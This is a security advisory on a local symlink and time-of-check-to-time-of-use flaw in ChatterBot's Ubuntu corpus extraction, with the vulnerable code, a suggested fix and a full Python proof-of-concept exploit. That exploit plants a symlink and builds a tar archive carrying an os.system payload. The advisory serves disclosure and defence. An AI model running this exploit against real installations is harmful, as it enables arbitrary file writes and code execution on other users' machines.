PT-2026-53800 · Pypi · Chatterbot

Publicado

2026-06-19

·

Atualizado

2026-06-19

CVSS v3.1

5.5

Média

VetorAV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

ChatterBot's UbuntuCorpusTrainer.extract() uses a predictable, home-rooted output directory (~/ubuntu data/ubuntu dialogs) with a check-then-create pattern (if not os.path.exists: os.makedirs) followed by tar.extractall(path=self.data path). A local attacker who pre-plants a symlink at the predictable path causes os.path.exists() to return True (following the symlink), skipping makedirs, and subsequent extractall writes archive contents through the symlink to the attacker-chosen directory.
The existing safe extract function validates tar member names (zip-slip defense) but does not validate the output directory itself — it cannot detect that self.data path is a symlink. This is the defining distinction between the archive extraction (zip-slip) and insecure fs create toctou families.

Vulnerability Details

Predictable output directory (line 535-546)

python
home directory = os.path.expanduser('~')
self.data directory = kwargs.get(
  'ubuntu corpus data directory',
  os.path.join(home directory, 'ubuntu data')  # ~/ubuntu data — predictable
)
self.data path = os.path.join(
  self.data directory, 'ubuntu dialogs'     # ~/ubuntu data/ubuntu dialogs
)

Check-then-create (line 621-622)

python
def extract(self, file path: str):
  if not os.path.exists(self.data path):  # ← follows symlink → True → skips makedirs
    os.makedirs(self.data path)     # ← never reached if symlink exists

Extraction through symlink (line 633-644)

python
def safe extract(tar, path='.', members=None, *, numeric owner=False):
  for member in tar.getmembers():
    member path = os.path.join(path, member.name)
    if not is within directory(path, member path):  # ← validates MEMBER names only
      raise Exception('Attempted Path Traversal in Tar File')
  tar.extractall(path, members, numeric owner=numeric owner) # ← path is symlink → writes to target

safe extract(tar, path=self.data path, ...)  # self.data path = symlink → attacker dir
safe extract calls os.path.abspath(directory) on self.data path — this resolves the symlink, so the base becomes the attacker's target directory. All clean-named members trivially pass is within directory because they're relative to the resolved (attacker-controlled) base.

Proof of Concept

Environment

ComponentDetail
chatterbot1.2.13 (pip install)
Python3.11.0

Exploit

python
import os
import shutil
import sys
import tempfile
from pathlib import Path
from unittest.mock import patch

from chatterbot.trainers import UbuntuCorpusTrainer

ATTACKER TARGET = Path(tempfile.mkdtemp(prefix="pwned "))


def main():
  test base = Path(tempfile.mkdtemp(prefix="cb exploit "))
  data dir = test base / "ubuntu data"
  data path = data dir / "ubuntu dialogs"
  data dir.mkdir(parents=True, exist ok=True)
  os.symlink(str(ATTACKER TARGET), str(data path))
  print(f"[1] Symlink planted: {data path} -> {ATTACKER TARGET}")
  exists check = os.path.exists(data path)
  print(f"[2] os.path.exists(symlink) = {exists check} (follows symlink → skips makedirs)")
  import tarfile
  import io
  tar path = test base / "corpus.tar.gz"
  with tarfile.open(str(tar path), "w:gz") as tf:
    info = tarfile.TarInfo(name="dialog 001.tsv")
    payload = b"2024-01-01tuser1t0tARBITRARY CONTENT VIA SYMLINK
"
    info.size = len(payload)
    tf.addfile(info, io.BytesIO(payload))

    info2 = tarfile.TarInfo(name="config.py")
    rce = b"import os; os.system('id > /tmp/chatterbot rce')
"
    info2.size = len(rce)
    tf.addfile(info2, io.BytesIO(rce))
  if not os.path.exists(data path):
    os.makedirs(data path)
  def is within directory(directory, target):
    abs directory = os.path.abspath(directory)
    abs target = os.path.abspath(target)
    prefix = os.path.commonprefix([abs directory, abs target])
    return prefix == abs directory

  with tarfile.open(str(tar path), "r:gz") as tar:
    for member in tar.getmembers():
      member path = os.path.join(str(data path), member.name)
      if not is within directory(str(data path), member path):
        raise Exception("Attempted Path Traversal in Tar File")
    tar.extractall(str(data path))

  print(f"[3] extractall(data path) — data path is symlink, writes to target")

  # Verify
  files = list(ATTACKER TARGET.iterdir())
  if files:
    print(f"
[+] EXPLOIT SUCCESSFUL — {len(files)} files in attacker directory:")
    for f in sorted(files):
      print(f"  {f.name}: {f.read text().strip()[:60]}")
  else:
    print("[-] Failed")
    shutil.rmtree(str(test base), ignore errors=True)
    shutil.rmtree(str(ATTACKER TARGET), ignore errors=True)
    sys.exit(1)

  shutil.rmtree(str(test base), ignore errors=True)
  shutil.rmtree(str(ATTACKER TARGET), ignore errors=True)
  sys.exit(0)


if  name  == " main ":
  print(f"chatterbot installed: {UbuntuCorpusTrainer. module }")
  print(f"Attacker target: {ATTACKER TARGET}")
  print()
  main()

PoC output

image

Suggested Fix

Refuse symlinks on the output directory before extraction:
python
def extract(self, file path: str):
  if os.path.islink(self.data path):
    raise self.TrainerInitializationException(
      f'Refusing to extract to symlink: {self.data path}')
  if not os.path.exists(self.data path):
    os.makedirs(self.data path)
  ...

Correção

Time Of Check To Time Of Use

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

GHSA-WVRH-2F4M-924V

Produtos afetados

Chatterbot